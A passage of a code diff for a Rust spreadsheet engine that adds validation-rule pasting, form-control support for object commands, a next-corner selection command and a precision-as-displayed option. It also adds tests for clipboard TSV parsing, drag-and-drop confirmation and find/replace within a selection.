+    dest_sheet: usize,
+    pasted: RangeRef,
+    transpose: bool,
+    skip_blanks: bool,
+) -> Result<()> {
+    let (h, w) = if transpose { (src.width(), src.height()) } else { (src.height(), src.width()) };
+    let (tiles_r, tiles_c) = (pasted.height() / h.max(1), pasted.width() / w.max(1));
+    let mut rules = Vec::new();
+    // Under Skip Blanks the destination keeps its rule below a blank source cell that has none, so
+    // only the destination of cells that hold something (and of the rules) is cleared. Nothing is
+    // collected when no destination rule is under the paste.
+    let mut cleared: Vec<RangeRef> = Vec::new();
+    let dest_rules =
+        cx.wb.sheet(dest_sheet).is_some_and(|sh| sh.validations.iter().any(|dv| dv.ranges.iter().any(|r| r.intersection(&pasted).is_some())));
+    if skip_blanks && dest_rules {
+        let mut cells = Vec::new();
+        for (sc, cell) in src_sheet.cells.iter_range(src) {
+            if cell.formula.is_none() && cell.py.is_none() && src_sheet.value(sc).is_empty() {
+                continue;
+            }
+            let (r, c) = (sc.row - src.start.row, sc.col - src.start.col);
+            let (r, c) = if transpose { (c, r) } else { (r, c) };
+            for tr in 0..tiles_r {
+                for tc in 0..tiles_c {
+                    if let Some(d) = pasted.start.offset(i64::from(tr * h + r), i64::from(tc * w + c)) {
+                        cells.push((d.row, d.col));
+                    }
+                }
+            }
+        }
+        // Coalesce populated cells into horizontal runs, then join identical runs in adjacent
+        // rows. The range limit applies to the cuts, not the number of populated cells.
+        cells.sort_unstable();
+        let mut runs: Vec<RangeRef> = Vec::new();
+        let mut i = 0;
+        while i < cells.len() {
+            let (row, start_col) = cells[i];
+            let mut end_col = start_col;
+            i += 1;
+            while i < cells.len() && cells[i].0 == row && cells[i].1 <= end_col.saturating_add(1) {
+                end_col = end_col.max(cells[i].1);
+                i += 1;
+            }
+            runs.push(RangeRef::new(CellRef::new(row, start_col), CellRef::new(row, end_col)));
+        }
+        let mut last_run_by_columns = std::collections::BTreeMap::<(u32, u32), usize>::new();
+        for run in runs {
+            let columns = (run.start.col, run.end.col);
+            if let Some(&index) = last_run_by_columns.get(&columns)
+                && cleared[index].end.row.saturating_add(1) == run.start.row
+            {
+                cleared[index].end.row = run.end.row;
+            } else {
+                let index = cleared.len();
+                cleared.push(run);
+                last_run_by_columns.insert(columns, index);
+            }
+        }
+    }
+    let mut total = 0usize;
+    for dv in &src_sheet.validations {
+        let parts: Vec<RangeRef> = dv.ranges.iter().filter_map(|r| r.intersection(&src)).collect();
+        let Some(first) = dv.ranges.first().map(|r| r.start) else { continue };
+        if parts.is_empty() {
+            continue;
+        }
+        let mut ranges = Vec::new();
+        if parts.contains(&src) {
+            ranges.push(pasted);
+        } else {
+            total = total.saturating_add(parts.len().saturating_mul(tiles_r as usize).saturating_mul(tiles_c as usize));
+            if total > MAX_PASTE_VALIDATION_RANGES {
+                return Err(EngineError::Other("Too many separate validation areas to paste at once.".into()));
+            }
+            for tr in 0..tiles_r {
+                for tc in 0..tiles_c {
+                    let Some(origin) = pasted.start.offset(i64::from(tr * h), i64::from(tc * w)) else { continue };
+                    for p in &parts {
+                        let (r0, c0) = (p.start.row - src.start.row, p.start.col - src.start.col);
+                        let (r1, c1) = (p.end.row - src.start.row, p.end.col - src.start.col);
+                        let ((r0, c0), (r1, c1)) = if transpose { ((c0, r0), (c1, r1)) } else { ((r0, c0), (r1, c1)) };
+                        let Some(a) = origin.offset(i64::from(r0), i64::from(c0)) else { continue };
+                        let b = origin.offset_clamped(i64::from(r1), i64::from(c1));
+                        ranges.push(RangeRef::new(a, b));
+                    }
+                }
+            }
+        }
+        let Some(anchor) = ranges.first().map(|r| r.start) else { continue };
+        let mut rule = dv.clone();
+        // Relative references move with the rule, as pasted formulas do: they are written for the
+        // rule's first cell.
+        rule.f1 = super::super::data::move_rule_formula(&dv.f1, first, anchor);
+        rule.f2 = dv.f2.as_ref().map(|f| super::super::data::move_rule_formula(f, first, anchor));
+        rule.ranges = ranges;
+        rules.push(rule);
+    }
+    if cleared.len() > MAX_PASTE_VALIDATION_RANGES {
+        return Err(EngineError::Other("Too many separate validation areas to paste at once.".into()));
+    }
+    let sh = cx.sheet_mut(dest_sheet)?;
+    if skip_blanks {
+        cleared.extend(rules.iter().flat_map(|r| r.ranges.iter().copied()));
+        super::super::data::remove_validation_cells(&mut sh.validations, &cleared);
+    } else {
+        super::super::data::remove_validation_cells(&mut sh.validations, &[pasted]);
+    }
+    sh.validations.extend(rules);
+    Ok(())
+}
+
 /// Applies a reference adjustment to every cell formula and defined name in the workbook.
 pub(crate) fn rewrite_all_formulas(wb: &mut gridcraft_model::Workbook, target: &str, e: &gridcraft_formula::adjust::Edit) -> Result<()> {
    use gridcraft_formula::adjust::Edit;
@@ -396,14 +558,15 @@ pub(crate) fn rewrite_all_formulas(wb: &mut gridcraft_model::Workbook, target: &
 }

 /// Runs `f` over every reference a floating object holds (a chart's series values, categories,
-/// name and bubble sizes, and the source block it was made from). Every edit that moves
+/// name and bubble sizes, and the source block it was made from, and a form control's linked
+/// cell). Every edit that moves
 /// references calls it: inserting and deleting lines and cells and cut-moves (through
 /// [`rewrite_all_formulas`]), and renaming and deleting sheets. `f` maps a reference held by an
 /// object on the sheet named `host` to its new form; text that does not parse is kept. A source
 /// block that no longer exists is dropped.
 pub(crate) fn rewrite_cell_links(wb: &mut gridcraft_model::Workbook, f: impl Fn(&str, gridcraft_formula::Expr) -> gridcraft_formula::Expr) {
    for si in 0..wb.sheets.len() {
-        let Some(host) = wb.sheets.get(si).filter(|s| !s.charts.is_empty()).map(|s| s.name.clone()) else { continue };
+        let Some(host) = wb.sheets.get(si).filter(|s| !s.charts.is_empty() || !s.controls.is_empty()).map(|s| s.name.clone()) else { continue };
        let Some(sh) = wb.sheet_mut(si) else { continue };
        let fix = |text: &str| -> String {
            match gridcraft_formula::parse(text) {
@@ -420,6 +583,9 @@ pub(crate) fn rewrite_cell_links(wb: &mut gridcraft_model::Workbook, f: impl Fn(
                se.bubble_sizes = se.bubble_sizes.as_deref().map(fix);
            }
        }
+        for c in sh.controls.iter_mut() {
+            c.link = c.link.as_deref().map(fix);
+        }
    }
 }

@@ -137,6 +137,23 @@ pub(super) fn selection_next(s: &mut Session, p: &Json) -> Result<Json> {
    Ok(json!({"active": d.selection.active.a1()}))
 }

+pub(super) fn selection_next_corner(s: &mut Session, _: &Json) -> Result<Json> {
+    let d = s.doc_mut()?;
+    let Some(sheet) = d.wb.active() else { return Err(EngineError::NoDocument) };
+    // A corner in a merged cell lands on its top-left cell. One in a hidden row or column, one
+    // the sheet's protection doesn't let you select, and a merged cell that starts outside the
+    // selected area are skipped.
+    let area = d.selection.current();
+    let stop = |c: CellRef| {
+        Some(sheet.merge_at(c).map_or(c, |m| m.start))
+            .filter(|c| area.contains(*c) && !sheet.is_row_hidden(c.row) && !sheet.is_col_hidden(c.col) && cell_selectable(&d.wb, sheet, *c))
+    };
+    let mut next = d.selection.clone();
+    next.next_corner_by(stop);
+    d.selection = next;
+    Ok(json!({"active": d.selection.active.a1(), "selection": d.selection.a1()}))
+}
+
 pub(super) fn select_all(s: &mut Session, _: &Json) -> Result<Json> {
    let d = s.doc_mut()?;
    let Some(sheet) = d.wb.active() else { return Err(EngineError::NoDocument) };
@@ -307,6 +307,9 @@ fn tsv() {
    assert_eq!(parse_tsv("a\tb\n1\t2\n"), vec![vec!["a", "b"], vec!["1", "2"]]);
    assert_eq!(parse_tsv("\"x\ty\"\tz"), vec![vec!["x\ty", "z"]]);
    assert_eq!(parse_tsv("\"he said \"\"hi\"\"\""), vec![vec!["he said \"hi\""]]);
+    // #2225: a quote that doesn't close the field leaves it as written, as Excel pastes it.
+    assert_eq!(parse_tsv("\"hi\" there\tx\n"), vec![vec!["\"hi\" there", "x"]]);
+    assert_eq!(parse_tsv("say \"hi\"\n"), vec![vec!["say \"hi\""]]);
 }

 #[test]
@@ -353,6 +356,74 @@ fn cut_paste_that_overflows_the_grid_moves_nothing() {
    assert_eq!(get(&mut s, "XFD2")["value"], json!(2.0));
 }

+#[test]
+fn drag_and_drop_asks_before_replacing_data() {
+    // #3136: dragging column B's border onto column A replaced A without asking.
+    let mut s = Session::new();
+    s.new_workbook();
+    s.execute("range.setValues", json!({"range": "A1:B3", "values": [["Apple", "Kiwi"], ["Pear", "Plum"], ["Fig", "Lime"]]})).unwrap();
+    s.execute("edit.copy", json!({"range": "D9"})).unwrap();
+    let text = |s: &mut Session, a: &str| s.execute("cell.get", json!({"cell": a})).unwrap()["input"].clone();
+    let r = s.execute("range.move", json!({"range": "B:B", "to": "A1"}));
+    let Err(EngineError::Confirm(q)) = r else { panic!("{r:?}") };
+    assert_eq!(q, "There's already data here. Do you want to replace it?");
+    // Nothing moved, and the copy made before is still on the clipboard.
+    assert_eq!(text(&mut s, "A1"), json!("Apple"));
+    assert_eq!(text(&mut s, "B1"), json!("Kiwi"));
+    assert!(s.clipboard.as_ref().is_some_and(|c| !c.cut && c.range.a1() == "D9"));
+    // Confirmed, column B replaces column A.
+    s.execute("range.move", json!({"range": "B:B", "to": "A1", "overwrite": true})).unwrap();
+    assert_eq!(text(&mut s, "A1"), json!("Kiwi"));
+    assert_eq!(text(&mut s, "A3"), json!("Lime"));
+    assert_eq!(text(&mut s, "B1"), json!(""));
+    // Onto empty cells, or overlapping only the moved cells themselves, nothing is asked.
+    s.execute("range.move", json!({"range": "A1:A3", "to": "A2"})).unwrap();
+    assert_eq!(text(&mut s, "A4"), json!("Lime"));
+    s.execute("range.move", json!({"range": "A2:A4", "to": "C2"})).unwrap();
+    assert_eq!(text(&mut s, "C2"), json!("Kiwi"));
+    assert!(s.execute("range.move", json!({"range": "C2"})).is_err(), "`to` is required");
+}
+
+#[test]
+fn drag_and_drop_asks_before_replacing_spilled_values() {
+    // Cells showing a dynamic array's spilled values hold no cell of their own, but they are data.
+    let mut s = Session::new();
+    s.new_workbook();
+    s.execute("cell.set", json!({"cell": "A1", "input": "=SEQUENCE(3)"})).unwrap();
+    s.execute("range.setValues", json!({"range": "C2:C3", "values": [["Kiwi"], ["Plum"]]})).unwrap();
+    let r = s.execute("range.move", json!({"range": "C2:C3", "to": "A2"}));
+    let Err(EngineError::Confirm(q)) = r else { panic!("{r:?}") };
+    assert_eq!(q, "There's already data here. Do you want to replace it?");
+    let sh = s.doc().unwrap().wb.active().unwrap();
+    assert_eq!(sh.value(CellRef::new(2, 2)), Value::text("Plum"));
+    s.execute("range.move", json!({"range": "C2:C3", "to": "A2", "overwrite": true})).unwrap();
+    let sh = s.doc().unwrap().wb.active().unwrap();
+    assert_eq!(sh.value(CellRef::new(1, 0)), Value::text("Kiwi"));
+}
+
+#[test]
+fn drag_and_drop_on_another_sheet_stays_on_that_sheet() {
+    // The move was checked on the range's sheet but pasted on the active one, replacing its data
+    // without asking.
+    let mut s = Session::new();
+    s.new_workbook();
+    s.execute("home.insertSheet", json!({"name": "Two"})).unwrap();
+    s.execute("range.setValues", json!({"range": "B1:B2", "values": [["Kiwi"], ["Plum"]]})).unwrap();
+    s.execute("sheet.activate", json!({"sheet": 0})).unwrap();
+    s.execute("cell.set", json!({"cell": "A1", "input": "Keep"})).unwrap();
+    s.execute("selection.set", json!({"range": "C5"})).unwrap();
+    s.execute("range.move", json!({"range": "Two!B1:B2", "to": "A1"})).unwrap();
+    // Sheet1 stays active with its own selection; the moved cells are on Two.
+    assert_eq!(s.doc().unwrap().wb.active_sheet(), 0);
+    assert_eq!(s.doc().unwrap().selection.a1(), "C5");
+    let wb = &s.doc().unwrap().wb;
+    let two = wb.sheet_index("Two").unwrap();
+    assert_eq!(wb.sheet(0).unwrap().value(CellRef::new(0, 0)), Value::text("Keep"));
+    assert_eq!(wb.sheet(two).unwrap().value(CellRef::new(0, 0)), Value::text("Kiwi"));
+    assert_eq!(wb.sheet(two).unwrap().value(CellRef::new(1, 0)), Value::text("Plum"));
+    assert_eq!(wb.sheet(two).unwrap().value(CellRef::new(0, 1)), Value::Empty);
+}
+
 #[test]
 fn replace_case_insensitive() {
    assert_eq!(replace_ci("Apple apple APPLE", "apple", "pear"), "pear pear pear");
@@ -371,3 +442,141 @@ fn replace_case_insensitive_keeps_text_when_folding_moves_boundaries() {
    let sh = s.doc().unwrap().wb.active().unwrap();
    assert_eq!(sh.value(CellRef::new(0, 0)), Value::text(text));
 }
+
+#[test]
+fn next_corner_of_selection_goes_clockwise_and_anchors_there() {
+    // #1442, as Excel does it: B2 → D2 → D4 → B4 → B2, the area stays selected, and Shift+arrows
+    // then move the corner opposite the new active cell.
+    let mut s = Session::new();
+    s.new_workbook();
+    s.execute("selection.set", json!({"range": "B2:D4", "active": "B2"})).unwrap();
+    let mut seen = Vec::new();
+    for _ in 0..4 {
+        let r = s.execute("selection.nextCorner", json!({})).unwrap();
+        assert_eq!(r["selection"], "B2:D4");
+        seen.push(r["active"].as_str().unwrap().to_string());
+    }
+    assert_eq!(seen, ["D2", "D4", "B4", "B2"]);
+    s.execute("selection.nextCorner", json!({})).unwrap();
+    s.execute("selection.nextCorner", json!({})).unwrap();
+    s.execute("selection.move", json!({"dr": 0, "dc": 1, "extend": true})).unwrap();
+    assert_eq!(s.doc().unwrap().selection.current().a1(), "C2:D4");
+    // One row goes end to end; a single cell stays.
+    s.execute("selection.set", json!({"range": "B2:D2", "active": "B2"})).unwrap();
+    assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "D2");
+    assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "B2");
+    s.execute("selection.set", json!({"range": "C5"})).unwrap();
+    assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "C5");
+}
+
+#[test]
+fn next_corner_skips_corners_the_sheet_protection_does_not_let_you_select() {
+    // With locked cells unselectable, Ctrl+. goes on to the next corner it may select.
+    let mut s = Session::new();
+    s.new_workbook();
+    s.execute("home.lockCell", json!({"range": "B2:C3", "on": false})).unwrap();
+    s.execute("selection.set", json!({"range": "B2:D3", "active": "B2"})).unwrap();
+    s.execute("review.protectSheet", json!({"selectLockedCells": false})).unwrap();
+    let r = s.execute("selection.nextCorner", json!({})).unwrap();
+    assert_eq!((r["active"].as_str(), r["selection"].as_str()), (Some("B3"), Some("B2:D3")), "D2 and D3 are locked");
+    assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "B2");
+}
+
+#[test]
+fn next_corner_stops_once_on_a_merged_corner_at_its_top_left_cell() {
+    // A corner inside a merged cell is that merged cell, whose active cell is its top-left one.
+    let mut s = Session::new();
+    s.new_workbook();
+    s.execute("home.mergeCells", json!({"range": "C2:D2"})).unwrap();
+    s.execute("selection.set", json!({"range": "B2:D3", "active": "B2"})).unwrap();
+    let seen: Vec<String> = (0..4).map(|_| s.execute("selection.nextCorner", json!({})).unwrap()["active"].as_str().unwrap().to_string()).collect();
+    assert_eq!(seen, ["C2", "D3", "B3", "B2"]);
+    // A selection that is one merged cell has no other corner.
+    s.execute("selection.set", json!({"range": "C2:D2", "active": "C2"})).unwrap();
+    assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "C2");
+}
+
+#[test]
+fn next_corner_skips_hidden_corners_and_stays_inside_the_selected_area() {
+    // A corner in a hidden column is passed over, as keyboard moves pass over hidden cells.
+    let mut s = Session::new();
+    s.new_workbook();
+    s.execute("home.hideColumns", json!({"cols": "D:D"})).unwrap();
+    s.execute("selection.set", json!({"range": "B2:D3", "active": "B2"})).unwrap();
+    assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "B3");
+    // Column C selected with B1:C1 merged: its top corner's merged cell starts in column B,
+    // outside the selection, so the active cell doesn't go there.
+    let mut s = Session::new();
+    s.new_workbook();
+    s.execute("home.mergeCells", json!({"range": "B1:C1"})).unwrap();
+    s.execute("selection.set", json!({"cell": "C5"})).unwrap();
+    s.execute("selection.column", json!({})).unwrap();
+    let r = s.execute("selection.nextCorner", json!({})).unwrap();
+    assert_eq!((r["active"].as_str(), r["selection"].as_str()), (Some("C1048576"), Some("C:C")));
+}
+
+#[test]
+fn copy_quotes_only_cells_with_tabs_or_line_breaks() {
+    // #2225: a cell holding a quote was wrapped in quotes on copy; Excel quotes only text with a
+    // tab or line break, and pastes the result back as the same cells.
+    let mut s = Session::new();
+    s.new_workbook();
+    for (cell, input) in [("A1", "say \"hi\""), ("A2", "plain"), ("A3", "\"hi\" there"), ("A4", "x \"q\"\ny"), ("A5", "tab\tinside")] {
+        s.execute("cell.set", json!({"cell": cell, "input": input})).unwrap();
+    }
+    let text = s.execute("edit.copy", json!({"range": "A1:A5"})).unwrap()["text"].as_str().unwrap().to_string();
+    assert_eq!(text, "say \"hi\"\nplain\n\"hi\" there\n\"x \"\"q\"\"\ny\"\n\"tab\tinside\"\n");
+    let rows = parse_tsv(&text);
+    let cells: Vec<&str> = rows.iter().map(|r| r[0].as_str()).collect();
+    assert_eq!(cells, ["say \"hi\"", "plain", "\"hi\" there", "x \"q\"\ny", "tab\tinside"]);
+}
+
+#[test]
+fn a_field_that_is_not_really_quoted_keeps_its_separators() {
+    // A field opening with a quote is quoted only if a closing quote ends it; when it doesn't (or
+    // never closes), the text is read as written, and the tabs and line breaks inside it still
+    // separate cells, as they would have without the leading quote.
+    assert_eq!(parse_tsv("\"a\tb\"x\tc"), vec![vec!["\"a", "b\"x", "c"]]);
+    assert_eq!(parse_tsv("\"a\tb\nc"), vec![vec!["\"a", "b"], vec!["c"]]);
+    assert_eq!(parse_tsv("\"a\tb\tc\n"), vec![vec!["\"a", "b", "c"]]);
+    // Cells copied without quotes (they hold no tab or line break) read back as the same cells.
+    let mut s = Session::new();
+    s.new_workbook();
+    for (cell, input) in [("A1", "'\"a"), ("B1", "b\"x"), ("C1", "c")] {
+        s.execute("cell.set", json!({"cell": cell, "input": input})).unwrap();
+    }
+    let text = s.execute("edit.copy", json!({"range": "A1:C1"})).unwrap()["text"].as_str().unwrap().to_string();
+    assert_eq!(parse_tsv(&text), vec![vec!["\"a", "b\"x", "c"]], "{text:?}");
+    // Many fields that only look quoted: each is replayed at most once (the replay budget is the
+    // input's length), and every one is still its own cell.
+    let hostile = "\"x\t".repeat(50_000);
+    assert_eq!(parse_tsv(&hostile).first().map(Vec::len), Some(50_001));
+}
+
+/// `within: selection` searches only the selected cells, as Excel does with a range selected
+/// (#3224): Find All lists them, Find Next moves the active cell through them and keeps the range
+/// selected, and Replace changes only them.
+#[test]
+fn find_and_replace_within_the_selection() {
+    let mut s = Session::new();
+    s.new_workbook();
+    s.execute("range.setValues", json!({"range": "A1:B4", "values": [["pear", "pear"], ["plum", "pear"], ["pear", "fig"], ["pear", "pear"]]}))
+        .unwrap();
+    s.execute("selection.set", json!({"range": "B1:B4"})).unwrap();
+    let all = s.execute("edit.find", json!({"what": "pear", "all": true, "within": "selection"})).unwrap();
+    let cells: Vec<&str> = all["results"].as_array().unwrap().iter().filter_map(|r| r["cell"].as_str()).collect();
+    assert_eq!(cells, ["B1", "B2", "B4"], "only column B");
+    assert_eq!(s.execute("edit.find", json!({"what": "pear", "within": "selection"})).unwrap()["cell"], "B2");
+    assert_eq!(s.execute("edit.find", json!({"what": "pear", "within": "selection"})).unwrap()["cell"], "B4");
+    assert_eq!(s.execute("edit.find", json!({"what": "pear", "within": "selection"})).unwrap()["cell"], "B1", "wraps inside the range");
+    let sel = &s.doc().unwrap().selection;
+    assert_eq!((sel.a1(), sel.active.a1()), ("B1:B4".to_string(), "B1".to_string()), "the range stays selected");
+    assert!(s.execute("edit.find", json!({"what": "plum", "within": "selection"})).is_err(), "A2 is outside the range");
+    assert_eq!(s.execute("edit.replace", json!({"what": "pear", "with": "kiwi", "within": "selection"})).unwrap()["replaced"], 3);
+    let sh = s.doc().unwrap().wb.active().unwrap();
+    let at = |a: &str| sh.value(CellRef::parse(a).unwrap());
+    assert_eq!((at("A1"), at("B1"), at("B4"), at("A4")), (Value::text("pear"), Value::text("kiwi"), Value::text("kiwi"), Value::text("pear")));
+    // The sheet scope is unchanged.
+    let all = s.execute("edit.find", json!({"what": "pear", "all": true})).unwrap();
+    assert_eq!(all["count"], 3, "A1, A3 and A4 on the whole sheet");
+}
@@ -97,7 +97,7 @@ pub fn specs() -> Vec<CommandSpec> {
            "Bring Forward",
            ["Page Layout", "Arrange"],
            None,
-            "{kind: chart|image|shape|slicer|equation, id, toFront?: bool}",
+            "{kind: chart|image|shape|slicer|equation|control, id, toFront?: bool}",
            has_doc,
            |s, p| arrange(s, p, true)
        ),
@@ -106,7 +106,7 @@ pub fn specs() -> Vec<CommandSpec> {
            "Send Backward",
            ["Page Layout", "Arrange"],
            None,
-            "{kind: chart|image|shape|slicer|equation, id, toBack?: bool}",
+            "{kind: chart|image|shape|slicer|equation|control, id, toBack?: bool}",
            has_doc,
            |s, p| arrange(s, p, false)
        ),
@@ -116,7 +116,7 @@ pub fn specs() -> Vec<CommandSpec> {
            "Align",
            ["Page Layout", "Arrange"],
            None,
-            "{kind: chart|image|shape|slicer|equation, ids: [..], align: left|center|right|top|middle|bottom}",
+            "{kind: chart|image|shape|slicer|equation|control, ids: [..], align: left|center|right|top|middle|bottom}",
            has_doc,
            align
        ),
@@ -57,6 +57,7 @@ pub(super) fn arrange(s: &mut Session, p: &Json, forward: bool) -> Result<Json>
    let kind = kind_param(p, "arrange")?;
    let extreme = bool_param(p, "toFront").or(bool_param(p, "toBack")).unwrap_or(false);
    let si = s.doc()?.wb.active_sheet();
+    crate::cmd::controls::check_objects_unlocked(s, si, kind, &[id])?;
    fn reorder<T>(v: &mut Vec<T>, i: usize, forward: bool, extreme: bool) {
        if i >= v.len() {
            return;
@@ -81,6 +82,7 @@ pub(super) fn arrange(s: &mut Session, p: &Json, forward: bool) -> Result<Json>
            ObjKind::Shape | ObjKind::Equation => {
                sh.shapes.iter().position(|c| c.id == id && shape_is(kind, c)).map(|i| reorder(&mut sh.shapes, i, forward, extreme))
            }
+            ObjKind::Control => sh.controls.iter().position(|c| c.id == id).map(|i| reorder(&mut sh.controls, i, forward, extreme)),
        };
        found.ok_or_else(|| bad("arrange", "no such object"))?;
        Ok(Json::Null)
@@ -106,6 +108,12 @@ pub(super) fn selection_pane(s: &mut Session, _: &Json) -> Result<Json> {
        let name = if c.caption.is_empty() { &c.column } else { &c.caption };
        v.push(json!({"kind": "slicer", "id": c.id, "name": name, "at": c.anchor.cell.a1(), "anchorMode": anchor_mode_name(c.anchor.mode)}));
    }
+    // Form controls paint above everything else.
+    for c in &sh.controls {
+        v.push(
+            json!({"kind": "control", "id": c.id, "name": c.display_name(), "at": c.anchor.cell.a1(), "anchorMode": anchor_mode_name(c.anchor.mode)}),
+        );
+    }
    Ok(Json::Array(v))
 }

@@ -115,6 +123,7 @@ fn anchors_of(sh: &mut Sheet, kind: ObjKind) -> Vec<(u32, &mut Anchor)> {
        ObjKind::Chart => sh.charts.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(),
        ObjKind::Image => sh.images.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(),
        ObjKind::Slicer => sh.slicers.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(),
+        ObjKind::Control => sh.controls.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(),
        ObjKind::Shape | ObjKind::Equation => sh.shapes.iter_mut().filter(|c| shape_is(kind, c)).map(|c| (c.id, &mut c.anchor)).collect(),
    }
 }
@@ -133,6 +142,7 @@ pub(super) fn align(s: &mut Session, p: &Json) -> Result<Json> {
    };
    let how = str_param(p, "align").unwrap_or("left").to_string();
    let si = s.doc()?.wb.active_sheet();
+    crate::cmd::controls::check_objects_unlocked(s, si, kind, &ids)?;
    edit(s, |cx| {
        let sheet = cx.sheet_mut(si)?;
        let geo: Vec<(u32, f64, f64, f32, f32)> = {
@@ -21,7 +21,7 @@ pub fn specs() -> Vec<CommandSpec> {
            "Options",
            ["File"],
            None,
-            "{} → {calculation: {mode, iterative, maxIterations, maxChange}} for the active workbook (the interface opens File › Options; change settings with their own commands, e.g. formulas.calculationOptions, view.theme, app.language.set)",
+            "{} → {calculation: {mode, iterative, maxIterations, maxChange, precisionAsDisplayed}} for the active workbook (the interface opens File › Options; change settings with their own commands, e.g. formulas.calculationOptions, view.theme, app.language.set)",
            always,
            options
        ),
@@ -230,7 +230,7 @@ fn options(s: &mut Session, _: &Json) -> Result<Json> {
            gridcraft_model::CalcMode::AutomaticExceptTables => "automaticExceptTables",
            gridcraft_model::CalcMode::Manual => "manual",
        };
-        json!({"mode": mode, "iterative": c.iterative, "maxIterations": c.max_iterations, "maxChange": c.max_change})
+        json!({"mode": mode, "iterative": c.iterative, "maxIterations": c.max_iterations, "maxChange": c.max_change, "precisionAsDisplayed": c.precision_as_displayed})
    });
    Ok(json!({"calculation": calculation}))
 }
@@ -427,6 +427,8 @@ fn forecast_sheet(s: &mut Session, p: &Json) -> Result<Json> {
            data_table: None,
            gridlines: true,
            style: 1,
+            hole_size: 75,
+            first_slice_angle: 0,
            x_title: None,
            y_title: None,
            source: None,
@@ -9,6 +9,17 @@ use super::{
 /// sheet is `sheet`, else the prefix, else the active one. The selection belongs to the active
 /// sheet, so another sheet needs explicit lines.
 fn line_targets(s: &Session, p: &Json, rows: bool) -> Result<(usize, Vec<(u32, u32)>)> {
+    let (sheet, lines) = resolve_lines(s, p, rows)?;
+    // Sizes and visibility are formatting of the line, which a protected sheet must allow.
+    if rows {
+        crate::cmd::refuse_unless_allowed(s, sheet, "Formatting rows", |p| p.format_rows)?;
+    } else {
+        crate::cmd::refuse_unless_allowed(s, sheet, "Formatting columns", |p| p.format_columns)?;
+    }
+    Ok((sheet, lines))
+}
+
+fn resolve_lines(s: &Session, p: &Json, rows: bool) -> Result<(usize, Vec<(u32, u32)>)> {
    let key = if rows { "rows" } else { "cols" };
    let mut sheet = target_sheet(s, p)?;
    if let Some(t) = str_param(p, key) {
@@ -101,7 +101,7 @@ pub fn specs() -> Vec<CommandSpec> {
            "Calculation Options",
            ["Formulas", "Calculation"],
            None,
-            "{mode?: automatic|automaticExceptTables|manual, iterative?: bool (Enable iterative calculation), maxIterations?: 1–32767 (100), maxChange?: number (0.001)} → the settings. File › Options › Formulas › Calculation options; stored in the workbook.",
+            "{mode?: automatic|automaticExceptTables|manual, iterative?: bool (Enable iterative calculation), maxIterations?: 1–32767 (100), maxChange?: number (0.001), precisionAsDisplayed?: bool (Set precision as displayed: numbers are stored as their format shows them; turning it on rounds every number constant permanently)} → the settings. File › Options › Formulas › Calculation options; stored in the workbook.",
            has_doc,
            calc_options
        ),
@@ -954,14 +954,30 @@ fn calc_options(s: &mut Session, p: &Json) -> Result<Json> {
        if let Some(v) = f64_param(p, "maxChange") {
            cx.wb.calc.set_max_change(v);
        }
+        let precision = bool_param(p, "precisionAsDisplayed");
+        if let Some(v) = precision {
+            cx.wb.calc.precision_as_displayed = v;
+            if v && !before.precision_as_displayed {
+                crate::cmd::round_all_constants_as_displayed(&mut cx.wb);
+            }
+        }
        let c = &cx.wb.calc;
        // Switching to automatic, or changing how circular references are calculated outside
        // manual mode, recalculates the workbook.
        let iteration_changed = (c.iterative, c.max_iterations, c.max_change) != (before.iterative, before.max_iterations, before.max_change);
-        if mode == Some(CalcMode::Automatic) || (iteration_changed && c.mode != CalcMode::Manual) {
+        // Switching precision as displayed recalculates the workbook, in manual mode too, so the
+        // values change as soon as it is switched on or off.
+        let precision_changed = c.precision_as_displayed != before.precision_as_displayed;
+        if mode == Some(CalcMode::Automatic) || (iteration_changed && c.mode != CalcMode::Manual) || precision_changed {
            cx.structural = true;
        }
-        Ok(json!({"mode": format!("{:?}", c.mode), "iterative": c.iterative, "maxIterations": c.max_iterations, "maxChange": c.max_change}))
+        Ok(json!({
+            "mode": format!("{:?}", c.mode),
+            "iterative": c.iterative,
+            "maxIterations": c.max_iterations,
+            "maxChange": c.max_change,
+            "precisionAsDisplayed": c.precision_as_displayed,
+        }))
    })
 }

@@ -99,7 +99,7 @@ pub fn specs() -> Vec<CommandSpec> {
            "Chart Properties",
            ["Chart Design"],
            None,
-            "{chart?: id, type?, subtype?, title?, legend?: none|bottom|top|left|right, dataLabels?, gridlines?, dataTable?: bool, dataTableKeys?: bool, dataTableHorizontalBorder?: bool, dataTableVerticalBorder?: bool, dataTableOutline?: bool (data tables: column/bar/line/area and compatible combo charts), quartiles?: exclusive|inclusive, style?, xTitle?, yTitle?, at?, width?, height?, dx?, dy?}",
+            "{chart?: id, type?, subtype?, title?, legend?: none|bottom|top|left|right, dataLabels?, gridlines?, dataTable?: bool, dataTableKeys?: bool, dataTableHorizontalBorder?: bool, dataTableVerticalBorder?: bool, dataTableOutline?: bool (data tables: column/bar/line/area and compatible combo charts), quartiles?: exclusive|inclusive, style?, holeSize?, firstSliceAngle?, xTitle?, yTitle?, at?, width?, height?, dx?, dy?}",
            has_doc,
            chart_set
        ),
@@ -146,13 +146,13 @@ pub fn specs() -> Vec<CommandSpec> {
            &with(p, "kind", json!("textBox"))
        )),
        cmd!("shape.setText", "Edit Text Box", [], None, "{id: textBox id, text: string}", has_doc, shape_set_text),
-        cmd!("object.delete", "Delete Object", [], None, "{kind: chart|image|shape|slicer|equation, id}", has_doc, delete_object),
+        cmd!("object.delete", "Delete Object", [], None, "{kind: chart|image|shape|slicer|equation|control, id}", has_doc, delete_object),
        cmd!(
            "object.move",
            "Move Object",
            [],
            None,
-            "{kind: chart|image|shape|slicer|equation, id, at?: \"C3\", dx?, dy?, width?, height? (each at most 10,000 points, or the object's current size when a file made it larger)}",
+            "{kind: chart|image|shape|slicer|equation|control, id, at?: \"C3\", dx?, dy?, width?, height? (each at most 10,000 points, or the object's current size when a file made it larger)}",
            has_doc,
            move_object
        ),
@@ -161,7 +161,7 @@ pub fn specs() -> Vec<CommandSpec> {
            "Object Properties",
            [],
            None,
